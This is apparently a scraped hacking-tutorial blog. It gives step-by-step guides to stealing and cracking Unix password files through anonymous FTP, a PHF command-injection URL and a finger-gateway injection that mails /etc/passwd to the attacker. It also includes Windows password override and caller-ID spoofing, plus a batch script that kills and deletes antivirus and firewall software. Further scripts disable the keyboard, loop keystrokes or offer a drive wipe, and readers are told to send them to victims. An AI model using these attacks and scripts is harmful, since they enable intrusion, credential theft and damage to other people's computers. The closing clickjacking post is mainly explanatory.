Do this with all the names you have found - you might get lucky.

Did this work?

[Nah, they had some baddass security, didn't work]
[Oh, Golly Gee... I got access to one of the accounts!]

GETTING THE PASSWD FILE:

You probably had no luck until now. Actually, most hacking techniques only have a slim chance of success. You just try hundreds of slim chances till you get it.
Assuming you were trying to log in on a Unix system, you may have been wondering how Unix checks to see whether the passwords you gave were correct or not. There is a file called ‘passwd’ on each Unix system which has all the passwords for each user. So, if we can’t guess the passwords, we will now try to rip this file and decrypt it.

[Make it so, Number 1]

ANCIENT CHINESE FTP METHOD:
Your browser should be set to use the fake proxies. We will keep using this browser to FTP, because it cannot be easily traced, whereas something like CuteFTP can be traced to you because it can't use proxies. If in your port scan, you found an opne port 21, its a pretty good indication that they run an FTP server.
Using your stealth browser, try to FTP to froggy.com.au . Example: ftp://froggy.com.au

If that does not work, try to FTP to ftp.froggy.com.au . Example: ftp://ftp.froggy.com.au

If that does not work, try to FTP to the Domain Name Servers listed when you did your WHOIS search. Example: ftp://ns1.froggy.com.au

[Ok, I'm In]
[Nah, stupid thing won't let me in]

ANCIENT CHINESE FTP METHOD:
Now you are connected to froggy.com.au ’s FTP server, click on their \etc directory.
You should see a file called ‘passwd’ and maybe a file called ‘group’. Download the ‘passwd’ file, and
look at it.
If it looks like this when you open it, you are in luck:

root:2fkbNba29uWys:0:1:Operator:/:/bin/csh
admin:rYsKMjnvRppro:100:11:WWW administrator:/home/Common/WWW:/bin/csh
kangaroo:3A62i9qr:1012:10:Hisaharu
[etc.]

For example, we know a login is “kangaroo” and their encrypted password is “3A62i9qr”. Note - this is not their password, but an encrypted form of their password.

Or, did it look more like this:

root:*:0:1:Operator:/:/bin/csh
admin:*:100:11:WWW administrator:/home/Common/WWW:/bin/csh
kangaroo:*:1012:10:Hisaharu TANAKA:/home/user/kangaroo:/usr/local/bin/tcsh

Is the second, encrypted password, section replaced by *’s or x’s? This is bad – it is called a shadowed
password and cannot be decrypted. This is how most passwd files are now days. However, if you got a
passwd file which has some non-shadowed entries, you can put your hand to decrypting it.

[Nah, It was all shadowed]
[Nah, couldn't find the passwd file in the first place]
[Yes! I think I got some non-shadowed passwords]

DECRYPTING PASSWD FILES:

There are a few programs around which were written to decrypt Unix passwd files. The most famous one was called ‘Cracker Jack’. Many ‘hacking’ texts strongly recommend this file – but they are mostly talking rubbish. Its old and most systems will just crash when they try to run it, as it uses weird memory allocation.
The best Unix cracker around is currently called 'John the Ripper 1.5’. It is readily avaliable. It was only written in the last year or so, and is a lot faster than Cracker Jack ever was. John the Ripper was also designed with Pentiums in mind, and the brute force techique used is genius. But you have to go down to DOS to use it.
You will also need a large ‘wordfile’, with every English word. Bigger the better. The Crack Programs test every word in the wordfile against the passwd file. If the wordfile is big enough, you have a good chance of getting a password.

[Yes! I Got Me Some Decrypted Passwords!]
[Nah, the Encryption was too Good]
[Give me some reading about all the different password crackers, where to find them, etc. <http://www.cyberarmy.com/tute/htext4.shtml>]

THE OLD-STYLE PHF TECHNIQUE:
Although most servers have now trashed a program called PHF, let's just make sure... It is is working, it lets you get the passwd file remotely, even if it is inside hidden and root access only directories.
In the Overlord Anonymizer, type:
http://www.froggy.com.au /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd.

OVERLORD ANONYMIZER
If PHF is active (often not), this string will print out the etc/passwd file strait to your web browser all you need to do is save it as a file and again run a crack program against it.
Now, if you see the words 'Smile! You're on Candid Camera!', it means that the server is protected against this hack, and has logged your IP. But don't worry. So long as you were using the anonymizer, you are safe.

[Nah, they fixed that PHF Bug Problem]
[Yes! I Got Me Some Encrypted Passwords!]

FINGER BOX HACKING:
Finger servers are hacker's friends. Let's find out whether www.froggy.com.au has a finger server.
In the Anonymizer, assuming that the server's name starts with www, type www.froggy.com.au /cgi-bin/finger

OVERLORD ANONYMIZER
If the finger gateway is operational a box should appear for you to enter the name you want to finger. If it is operational you have another chance to receive the etc/passwd file.
Okay, 1/ get your list of e-mail addresses you found for the site (let's pretend one of them is "kangaroo@froggy.com.au ", and that your email address is "your@email.org")
2/ Go back to the finger box, and type this in (changing these email addresses for the real ones):
kangaroo@froggy.com.au ; /bin/mail your@email.org < etc/passwd
This takes the passwd file through kangaroo@froggy.com.au and emails it to your email address. If this works you now have the etc/passwd file in your mailbox.... you can now run a crack program against it and have a little fun on their box.

[Nah, it didn't work]
[Yes! I Got Me Some Encrypted Passwords!]

LINUX INSTALLATION
All the above really has given you the basic ideas. To do anything firther, and impliment any real exploits, you will have to put a Linux operating system on your computer. Below are some instructions on how to quickly and easily install Linux on your computer. You can just download the files below for free, and install them in a directory on your MS-DOS / Windows system! That's right, you dont even have to repartition your Hard Drive!
Okay... I will make this as basic and free as possible. I will assume you are running Windows 95 or 98 and have never seen Linux before. You have a Hard Drive with at least 100MB free. Youve got a floppy drive, etc. You know how to unzip files. And you dont want to spend any money. Luckily, Linux is free and easy to set up.
1/ Download this file <ftp://sunsite.anu.edu.au/pub/linux/distributions/slackware/zipslack/zipslack.zip> (Australia). It's big, like 34MB. But it's all you need. If the site there is overloaded, get it here <ftp://ftp.cdrom.com/pub/linux/slackware/zipslack/zipslack.zip>.
2/ What you have is a version of Slackware Linux, called zipslack. It's a very simple version of Slackware Linux to set up. I don't use Slackware, and there are some better versions around now - like RedHat 5.2. But, it is a good stable version - and, like I say, very simple to download and setup. Good for a Linux test drive.
3/ Ok, make a directory called 'Linux' on your Hard Drive. That's right, with this distro, you dont even have to repartition your drive. It can be on the same Hard Drive you have Windows on! (I told you this would be easy). Just make sure its a major directory on your hard drive, like c:\linux - not in a subdirectory anywhere.
4/ Now, just unzip all the contents of the zipslack.zip into the right directories, like c:\linux\etc, c:\linux\usr, etc.
5/ Now, heres the hardest part. You will have to edit the \linux\linux.bat file. Open it in an editor.
6/ You'll need to edit the LINUX.BAT file, and make sure the root=/dev/XXXX points to your Hard Drive. If you have put it on your main hard drive, you can make the line:
\linux\loadlin \linux\vmlinuz root=/dev/hda1 (hda1 means the IDE1 Master HDD)
I have Linux on my drive D: (the IDE2 Master HDD), and for me the line would be:
\linux\loadlin \linux\vmlinuz root=/dev/hdc1
7/ If you are unsure, the Linux.bat file has a long list of examples. Just guess. If you get it wrong, you'll still be able to use scrollback (right shift key and PageUp) when the kernel halts to go back and look at your partitions, noting the names Linux gives them. With this information, you should be able to edit the LINUX.BAT correctly.
8/ Well, I skipped ahead of myself. You are now (already) ready to boot up your Linux system. Who said it was hard?
9/ Ok, you must go 'Shut Down' and 'Restart in MS-DOS Mode'. Then just go to the \Linux directory ('cd linux') and run Linux.bat
10/ The Linux system will load itself over MS-DOS (though you don't need to load it over DOS - later you can make a boot-disk so only linux loads).
11/ You will see a whole lot of stuff loading. Then you will see a login: prompt.
12/ You have an operating system just like all the big net servers have!
13/ Okay, just type in 'root', and you have root access on the system. You will want to give yourself a password, so type 'passwd'. Choose something you will remember. Without it, you cannot log in.
14/ Now you will have a black screen with a # looking at you. Dont let that worry you - its just like a MS-DOS screen. A few commands for now: 'ls' (like 'dir' in MS-DOS), 'cd' (change directory, like dos), 'pico' (an editor, use like 'pico text.txt'), and 'mc' (this is a nice menu program that comes with zipslack).
15/ Now, type 'setup'.
16/ Setup your mouse, network settings, screen stuff. Really easy. Just like - 'are you using a 2 button mouse or 3'? Easy.
17/ Now, if you want net access, through this - type 'pppsetup'. This starts the ppp (point to point protocol) setup. You will need to know all your internet settings, like your Gateway, Nameserver numbers, etc. If you dont know these, go back to windows and see what values you used from the Control Panel : Internet section.
18/ Okay. Reboot. Your mouse should be working, with some luck. Hopefully, your modem will be able to dial. Though, often not. If you have a standard external modem on Com 2, it is probably okay. Otherwise, it's sometimes a pain to configure your modem for Linux.
19/ If you are having modem troubles, type 'mc to run the Midnight Commander. Open the 'etc' directory, then 'rc.d', then 'serials.rc'. Comment out the auto config section with '#' signs. And go to the manual config section. Uncomment /dev/cua0 (Com 1:) and /dev/cua1 (Com 2:) - or /dev/cua2 or cua3 (Com 3: or 4:) for internal modem users. Now, from windows, go to Accessories:System Tools:System Information (Win 98) to get the IRQ and Port Settings for your modem. If you are in Win95, I think you have to run something called msd.com in the \windows directory. Put these setting in. Then, edit S.rc and at the bottom, uncomment the place where it says to call the serials.rc file.
20/ If you have a CD-Rom you can also edit S.rc so that it checks for a CD Rom during bootup.
21/ All things going well, you should now have a fully functional Unix type system on your computer. You can download all your latest little X-Crush programs (in .tgz format). To setup Software - say a Linux stealth port scanner, save the .tgz file in a directory and run 'pkgtool'. Then go 'install file'. Real easy. If it is a C program, type 'gcc program.c' to compile it.
22/ Well, you are missing a Windows type interface. You dont need one. But if you want to surf using Linux, etc. It is better to have a graphical interface - although you can run a browser called 'lynx' just through the vanilla Linux interface.
23/ You can get some things, like X-Windows from ftp.cdrom.com/pub/linux/slackware/slakware/x1/
24/ Just get all the files that look vital (about 8 of them), and run pkgtool to install them all. You will probably find that setting up X-Win for the first time is a huge pain. It was for me at least - you need to know, for example, the horizontal and vertical refresh rates of your monitor. Then, get something like the Linux Netscape, or Arena as a browser. These run thru X-Windows.
25/ You will have fun tweaking everything as you like it. There are dozens of windows interfaces to choose from. Some looks almost identical to Win95.
26/ Where from here? You can now do practically anything - you basically have all the net power your ISP does, except for all the phone lines. You can let people use you as a dial up ISP, you can host web pages and set up FTP sites to run from your computer. You can set up email addresses, nameservers... anything.
27/ Because Linux is the same software as most ISPs run, a lot of hackers use Linux. You will be able to issue commands to other servers. You can ask other servers about themselves. For example, type 'showmount -e victim.com'. You can also run things like 'ping', and 'traceroute' directly from your command line. You can send mail from your own sendmail program so that it is untraceable.
Some last incentives, if you were brought up in the Windows world and are afraid of command prompts, just type 'mc'. The zipslack distro comes with this 'Midnight Commander' - which I use a lot. And play a few games on the things. There are a few old favourites installed by default - like 'trek', and 'adventure', etc. If you were in computers 20 years ago, you will know what I mean. The games directory is in usr/games.
If you have got any more problems, there are a lot of people on the IRC #Linux channel on undernet who are very helpful. If your Linux is set up to the net, you can run the Linux Bitch-X IRC program to get there. Zipslack also has pine (for email), tin (for newsgroups), and lynx (for surfing).
Fact is, when you got this all working for a few weeks (and probably loving it), you will no doubt like to try some more advanced Linux distros. Although there are a lot of personal feelings about various distributions, I recommend RedHat 5.2 Linux. You will find it very easy to install.
If you are happy buying through Amazon.Com, here is <http://www.amazon.com/exec/obidos/ASIN/0789717468/thenewbiesarea> the best Linux deal I've been able to find anywhere. It deals with the 3 major Linux distributions: Red Hat, Slackware, and Debian - with 3 CDs. It also contains a very good install guide. All for about half the price of the single 'official' RedHat CD. If you like this Linux stuff, I recommend you get it - or at least make sure you get a book that is written very recently.[an error occurred while processing this directive]

[Nah, it didn't work]
[Yes! I Got Me Some Encrypted Passwords!]

CURRENT LIMIT:
You have reached the current limit of the tutorials.... I will add further steps when I get the time and if people like these lessons. Also, if people want to write sections up for this, just mail the sections to me, to the e-mail address listed at Cyberarmy.Com.
Until this gets bigger, I can suggest a few books that teach hacking. I've found that a lot of books are rubbish and just teach how to change screen colours, but there are a few that every hacker should have in their library.

THE ESSENTIAL HACKER'S LIBRARY:

ESSENTIAL BOOKS:
1. MAXIMUM SECURITY <http://www.amazon.com/exec/obidos/ASIN/1575212684/thenewbiesarea>: Of course, Maximum Security has to be at number one. I guess this would probably be the central book in any hacker's library. Goes through a heap of techniques like a textbook with over 900 pages.
2. THE HAPPY HACKER <http://www.amazon.com/exec/obidos/ASIN/0929408217/thenewbiesarea>: Essential for newbies. Although this book is bagged a lot by people who hate Carolyn, I think most people agree it would be the perfect first book a newbie should read. Explains things pretty well, spelling mistakes, but probably an essential newbie primer. Thou, as I say, if you know your stuff you can safely forget this one.

ESSENTIAL SOFTWARE:

1. LINUX <http://www.amazon.com/exec/obidos/ASIN/0789717468/thenewbiesarea>: You will need to change to Linux to do any serious hacking. But thankfully, it is fairly simple and you can just set up Linux in a seperate partition on your Hard Drive and set for a dual boot option: usually windows, and when you are hacking, Linux. You amount of 'Net Power' increases 500%. If you want to buy Linux, make sure you get the latest version not an obsolete one. There are also several different 'flavours' of Linux, you will probably want to start with RedHat, then possibly move to Slackware after a year or so. So, make sure you get a deal which gives you the oportunity to check out some of the different distributions. By far the best Linux deal I've found around is this one <http://www.amazon.com/exec/obidos/ASIN/0789717468/thenewbiesarea>. It has an excellent Linux manual, and comes with three seperate Linux distributions on 3 CDs, including the very latest RedHat and Slackware. It's also excellent value (about half the price of buying the single 'official' RedHat CD).
NOT ESSENTIAL, BUT RECOMMENDED BOOKS:
(These books are mainly just part of the Hacker Culture)

3. THE WATCHMAN <http://www.amazon.com/exec/obidos/ASIN/0316528579/thenewbiesarea>: The Twisted Life and Crimes of Serial Hacker Kevin Poulsen: This one will not teach you anything, so stuff it if you just want to learn. Although it was one of the best reads I ever had. More like a thriller book, but it was real! The Kevin Mitnick books are about the same, but this one deals a lot with phreaking, and scamming radio stations of cars. But, as I say, it doesn't go through any techniques, so stuff it if you just want to learn stuff.

4. THE FUGITIVE GAME <http://www.amazon.com/exec/obidos/ASIN/0316528692/thenewbiesarea>: Online With Kevin Mitnick: Again, a really fun read (though, I prefer the Poulsen book) but it doesn't go through any hacking techniques. But I have to list it here because it is such a good read. It's also a really cheap buy.

5. TAKEDOWN <http://www.amazon.com/exec/obidos/ASIN/0786889136/thenewbiesarea> : The Pursuit and Capture of Kevin Mitnick: This is the other side of the Mitnick story (written by the cops who chased him). Interesting, but the essential Mitnick book is the one above. Though, this is a very good primer on how the FBI operates to capture hackers. But, again, no techniqes listed. For techniques, you would only have luck in the first two books listed.

Okay, as for programming books - stuff it. You can download the things for free if you search for "perl + programming + tutorial" and things like that. Unless you like printed books, forget that. So, the only other thing is Linux. You will need to have Linux as a dual boot option on your PC if you want to do any serious hacking.

Some books that suck: these are some books that are going around that are a rip-off. SECRETS OF A

SUPER HACKER <http://www.amazon.com/exec/obidos/ASIN/1559501065/thenewbiesarea>: This is another book that a lot of people have. The book seemed like a real waste of time to me.
So, keep going through this tutorial as it gets bigger, read anything you find on the web. Get some of the major books above, at least 1 and 2, and read them very carefully - four or five times. Join your local Linux users group, if you have one. And, later on, download a few guides on programming and read through them when you get some time. With some effort (it isn't easy), you can become a respected hacker and take control of the Net.

CONGRATULATIONS:

You have gained access.
If you now have the login code and password, you may use the users mail account, FTP priviliges (change their web pages by uploading new ones), and HTTP access.
(If you have only got access to a user level account, do not despair. If you have a user level account, it is easy to use that to later get a root level account. More on this when this study is made bigger).

[BASIC]Hacking Windows XP

2012-04-13T09:40:00.000-07:00

[TUT][BASIC]Password Override on Windows XP[TUT]

Today I am going to give out an old but very important technique for changing passwords.

NOTE: I DO NOT TAKE ANY RESPONSIBILITY FOR ACTIONS OF END USERS IF THIS GUIDE IS MISUSED. IF YOU DO YOU WILL BE ON YOUR OWN
Here we go:

Open command line interface (i.e. cmd )
Type:

net users

You will get a list of existing users in system.
Now take any user. Let username is Admin then
Type:

net user Admin pass1

and press enter.

You will see the output as "command completed successfully"
If this is case the password of user Admin is changed to pass1.

Congratulation!! You just changed password of another user without knowing it.

If you are getting output as "Access Denied".

[TUT] Call Spoofing [TUT]

2012-04-13T09:31:00.002-07:00

[TUT] Call Spoofing [TUT]

Did you ever wanted to call your friends with someone else's mobile number? If yes you are at the right thread.

Note: It is only for educational purpose. I don't take any responsibility of user actions for illegal actions. If you do so you will be on your own.

Here are steps:

1. Open http://www.crazycall.net
2. Select your country and wait for the page to load.
3. Enter the number you want to display in the first big box (Don't change the contents of small box if the fake number is of same country).
4. Enter the number you wish to call in second big box.
5. Choose voice pitch as normal (for same voice) or high or low pitch to change your voice.
6. Click Get me a code.
7. Dial the number shown on right and
Enter the shown code when asked.

And its done. ONLY THING IS THAT INTERNATIONAL CALL RATES ARE APPLIED.

Do not use it for illegal purposes.

Disabling All Antiviruses

2012-04-13T09:29:00.002-07:00

Disabling all antiviruses

Sometimes, you could get BSOD, and many times it's due to antivirus installed on system.
The below batch program helps you to disable all the running antivirus in the system. Just save copy and paste it in notepad file and save it with .bat extension.

@ echo off
rem --
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
rem --

Trace Emails

2011-09-24T22:31:00.000-07:00

Many times you get fake emails and wanna know about the person who send you this email. It possible to find out origin of the EMAIL. The only thing you need to know is how to get email message header. Just copy the message header and paste it to the tracker system. And it will give you the location of the email sender's IP address.Trace-mail
For more advance feature, you can try a tool name emailtracker pro which helps you to identify the true source of emails to help track suspects. This is tool is not a free product. You have to buy it from it's developer.

Go to it's developer

But here is a promotional offer that gives you the full version license key of one of the older version of EMailTrackerPro free.

From Rapidshare

Get EMailTrackerPro license key:
Go to this promotional page and enter you email address. Full version serial of EMailTrackerPro 2008 will be then sent to the submitted email. Download EMailTrackerPro and install the key provided.

after installing this software you can monitor your emails with the help of and easy gui interface..

Trace Mobile Number,Vehical Number etc.

2011-09-24T22:28:00.000-07:00

Many people want this type of services and searched over internet a waste their time but unable to get desired results.
A few days ago i got a website which have a lots of tracing services. It shows tracing results in a map along with all suitable information you want to know.

You can trace a Mobile number. For example , when we enter the 10 digit mobile number, then we get the Mobile Service provider, Location, City along with area in a map.
Thats really awesome.

You can also trace IP Address of a person. Enter your IP address and it will show you the location of this IP address and complete details of the ISP with the contact number of that IP Address.

Features of this site is
Trace Mobile Number
Trace Vehical Number
Trace Pin Code
Trace IP Address WHOIS Trace

GO TO THIS LINK:
http://www.indiatrace.com
please comment below if this post is useful for you..

How To Disable The Keyboard Using Batch Script

2011-09-17T23:41:00.000-07:00

How To Disable The Keyboard Using Batch Script

Just copy and paste the code below in notepad and save it as “anything.bat”. What it exactly does is modifies the registry value of keyboard layout of each keys and finally disabling all the keys.

Code:

@echo off

echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"

echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"

echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"

echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"

echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"

echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"

echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"

echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"

echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"

echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"

echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"

echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"

echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"

echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"

echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"

echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"

echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"

echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"

echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"

echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"

echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"

echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"

echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"

start nokeyboard.reg

This will disable the keyboard with no hard work. You can try above code to irritate your friends along with autorun.inf in your USB disk.

Edit: To disable this go to Start> Run and type regedit . This will open the registry editor. In the left tree explorer, navigate to following place:

Code:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout

Delete the Scancode Map key by simply using right click and delete.

Ten Great Scripts to Trick your Friends - Simple yet Freaky!!!

2011-09-17T23:30:00.000-07:00

Ten Great Scripts to Trick your Friends - Simple yet Freaky!!!

Here are some cool freaky tricks to prank your friends. Just type the given code or copy and paste it in Notepad and save it accordingly.

1) Display a Small message and then shut down his / her computer :
    TYPE THIS CODE :
    Code:
    @echo off
    msg * I don't like you
    shutdown -c "Error! You are too stupid!" -s
    Save it as "Anything.BAT" in All Files and send it.

2) Toggle your friend's Caps Lock button simultaneously :
    TYPE THIS CODE :
    Code:
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{CAPSLOCK}"
    loop
    Save it as "Anything.VBS" and send it.

3) Continually Eject and Load your friend's CD Drive. If he / she has more than one, watch them all them all pop In and Out!!!
    TYPE THIS CODE :
    Code:
    Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop
    Save it as "Anything.VBS" and send it.

4) Frustrate your friend by making this VBScript, causing Enter to be hit repeatedly and simultaneously :    TYPE THIS CODE :
    Code:
    Set wshShell = wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "~(enter)"
    loop
    Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and then freak your friend out :
    TYPE THIS CODE :
   Code:
    WScript.Sleep 180000
    WScript.Sleep 10000
    Set WshShell = WScript.CreateObject("WScript.Shell")
    WshShell.Run "notepad"
    WScript.Sleep 100
    WshShell.AppActivate "Notepad"
    WScript.Sleep 500
    WshShell.SendKeys "Hel"
    WScript.Sleep 500
    WshShell.SendKeys "lo "
    WScript.Sleep 500
    WshShell.SendKeys ", ho"
    WScript.Sleep 500
    WshShell.SendKeys "w a"
    WScript.Sleep 500
    WshShell.SendKeys "re "
    WScript.Sleep 500
    WshShell.SendKeys "you"
    WScript.Sleep 500
    WshShell.SendKeys "? "
    WScript.Sleep 500
    WshShell.SendKeys "I a"
    WScript.Sleep 500
    WshShell.SendKeys "m g"
    WScript.Sleep 500
    WshShell.SendKeys "ood"
    WScript.Sleep 500
    WshShell.SendKeys " th"
    WScript.Sleep 500
    WshShell.SendKeys "ank"
    WScript.Sleep 500
    WshShell.SendKeys "s! "
    Save it as "Anything.VBS" and send it.

    6) Frustrate your friend by making this VBScript, causing Backspace to be hit repeatedly and simultaneously :
    TYPE THIS CODE :
   Code:
    MsgBox "Let's go back a few steps"
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{bs}"
    loop
    Save it as "Anything.VBS" and send it.

    7) Hack your friend's keyboard and make him type "You are a fool"(What ever...!) simultaneously :    TYPE THIS CODE :
    CODE:
    Set wshShell = wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "You are a fool."
    loop
    Save it as "Anything.VBS" and send it.


    8. Cause your friends Notepad to open continually :
    TYPE THIS CODE :
    Code:
    @ECHO off
    :top
    START %SystemRoot%\system32\notepad.exe
    GOTO top
    Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action :
    1: Shutdown
    2: Restart
    3: Wipes out your hard drive (BEWARE)
    4: Net send
    5: Messages then shutdown
    TYPE THIS CODE :
   Code:
    @echo off
    title The end of the world
    cd C:\
    :menu
    cls
    echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
    pause
    echo Pick your poison:
    echo 1. Die this way (Wimp)
    echo 2. Die this way (WIMP!)
    echo 3. DO NOT DIE THIS WAY
    echo 4. Die this way (you're boring)
    echo 5. Easy way out
    set input=nothing
    set /p input=Choice:
    if %input%==1 goto one
    if %input%==2 goto two
    Save it as "Anything.BAT" and send it.

Clickjacking New Hacking Attack

2011-09-15T09:33:00.000-07:00

Clickjacking

I was surfing around the internet when i saw the news saying that clickjacking attack is now targeting facebook users. yeah it's bad news for facebook user. Then it came in my mind that i didn't tell my readers about this attack. Now it is important to know about this attack because this is very advance attack and need some programming skill. I will try to explain it in simple but it is li'le bit complicated for a non programmer to understand but now too hard as as you are thinking now :)

Clickjacking

Clickjacking is the short form of click hijacking. This vulnerability is used by an attacker to collect an infected user's clicks. The attacker can force the to do all sort of things from adjusting the user's computer settings to unwittingly sending the user to Web sites that might have malicious code. Now how attacker can adjust user's computer setting?? attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the the top level page. Thus, the attacker is "hijacking" clicks meant for their page and routing them to other another page, most likely owned by another application, domain, or both.
The term "clickjacking" was coined by Jeremiah Grossman and Robert Hansen in 2008. The exploit is also known as UI redressing.

Attack Example:
The user receives an email with a link to a video about a news item, but another valid page, say a product page on amazon.com, can be "hidden" on top or underneath the "PLAY" button of the news video. The user tries to "play" the video but actually "buys" the product from Amazon.

Prevention:

NoScript: This is the best prvention aginst Clickjacking. It is a firefox addon and prevent users from clicking invisible click.
GuardedID: It is a commercial product which provides client-side clickjack protection for users of IE or Firefox without interfering with the operation of legitimate iFrames
